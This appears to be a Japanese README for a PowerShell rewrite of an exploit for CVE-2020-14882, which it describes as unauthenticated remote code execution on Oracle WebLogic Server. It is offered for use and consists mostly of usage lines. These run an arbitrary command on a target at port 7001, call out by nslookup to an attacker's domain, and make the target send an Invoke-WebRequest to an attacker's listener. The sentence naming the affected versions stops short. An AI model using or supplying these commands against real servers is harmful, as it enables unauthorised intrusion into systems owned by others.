
PowerShellで書き直されたCVE-2020-14882
この PowerShell スクリプトは、CVE-2020-14882 を悪用して、Oracle WebLogic Server の以下のバージョンで未認証のリモートコード実行を実現します:
.\exploit.ps1 -target 'http(s)://target:7001' -command 'your_command'
.\exploit.ps1 -target 'http(s)://target:7001' -command 'nslookup your_Domain'
.\exploit.ps1 -target 'http(s)://target:7001' -command 'powershell.exe -c Invoke-WebRequest -Uri http://your_listener'